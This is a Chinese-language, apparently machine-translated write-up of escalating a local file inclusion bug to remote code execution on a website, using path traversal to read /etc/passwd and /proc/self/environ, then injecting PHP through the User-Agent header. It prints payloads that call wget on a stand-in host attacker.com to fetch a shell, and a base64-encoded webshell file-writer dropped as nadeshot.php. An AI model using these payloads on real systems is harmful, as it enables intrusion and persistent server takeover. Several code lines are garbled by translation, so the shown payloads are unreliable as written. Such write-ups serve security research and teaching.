在拥有20000+用户的网站中利用LFI到RCE
最近,我发现了一个有趣的攻击媒介。
访问网站(端口443),我们看到以下页面:
01查找LFI漏洞
让我们浏览网站,看看是否可以找到一些有趣的功能点。单击“联系我们”会跳转到一个有趣的URL:
https://www.website.com/index.php?pg=contact.php
开始利用pg参数,发现使用以下payload可以执行LFI:
https://www.website.com/index.php?pg=../../../../etc/passwd
到目前为止,我们已经有了LFI,让我们尝试增加影响。
02从LFI到RCE
使用所有可能的已知技术将LFI漏洞升级为RCE,我发现/ proc / self / environ对我们而言是可读的。因此,输入以下代码会泄漏信息:
https://www.website.com/index.php?pg=../../../../proc/self/environ
分析输出,我们可以看到/ proc / self / environ下的文件包含几个环境变量,例如HTTP_USER_AGENT。
让我们启动Burp Suite,并通过更改用户代理值发送请求。我尝试将以下值添加到User-Agent:
尝试使用system(),但没有RCE:
用户代理:<?system('wget http://attacker.com/shell.txt -O shell.php');?>
尝试了exec(),但没有RCE:
用户代理:<?exec('wget http://attacker.com/shell.txt -O shell.php');?>
尝试了phpinit(),但失败了:
用户代理:<?php phpinfo(); ?>
这是我花了很多时间的地方,但我忘记了可以在服务器内部写入文件,因此尝试了以下payload。
让我们创建一个将在用户代理 HTTP标头中使用的payload:
用户代理:
<?的PHP $ A = BASE64_DECODE( 'PD9waHAgCiAgJGEgPSAkX1BPU1RbJ2NvZGUnXTsKICAkZmlsZSA9IEBmb3BlbigkX1BPU1RbJ2ZpbGUnXSwndycpOwogIEBmd3JpdGUoJGZpbGUsJGEpOwogIEBmY2xvc2UoJGZpbGUpOwo/Pgo8Y2VudGVyPgogIDxmb3JtIG1ldGhvZD0icG9zdCIgaWQ9ImZvcm0iPgogICAgPGgyPkZpbGUgV3JpdGVyPC9oMj4KICAgIEZpbGUgTmFtZTxicj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZmlsZSIgcGxhY2Vob2xkZXI9InNoZWxsLnBocCIPGJyPgogICAgU2hlbGwgQ29kZTxicj48dGV4dGFyZWEgbmFtZT0iY29kZSIgZm9ybT0iZm9ybSIgcGxhY2Vob2xkZXI9IlBhc3RlIHlvdXIgc2hlbGwgaGVyZSI+PC90ZXh0YXJlYT48YnI+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iV3JpdGUiPgogIDwvZm9ybT4KPC9jZW50ZXI + CG =='); $ file = fopen('nadeshot.php','w'); 回声fwrite($ file,$ a); fclose($ file); ?>
03解释使用的payload
该webshell在base64中编码,并存储在a变量中。原始的websheLL php代码来自:https://github.com/alita-ido/PHP-File-Writer/blob/master/lfi-writer.php$a=base64_decode('webshell_base64_encoded_code_here');
之后,我们把一个名为nadeshot.php的文件写入服务器。
$ file = fopen('nadeshot.php','w');
然后,服务器将代码(解码为base64)写入nadeshot.php
echo fwrite($ file,$ a);
服务器将保存文件:
fclose($ file);
因此,让我们尝试在Burp Suite中执行整个payload,然后看看会发生什么。
收到 200(OK),。我们希望payload按计划执行,因此,请转到以下网址检查其是否成功执行:https://website.com/nadeshot.php
我们的webshell已上传到/nadeshot.php中。现在让我们编写一个简单的.txt文件(尽量不损害网站),看看它是否有效。
我将创建一个名为nadeshot.txt的文本文件,然后单击“write”。
进入https://website.com/nadeshot.txt将显示我们的文本文件。成功地从LFI到RCE.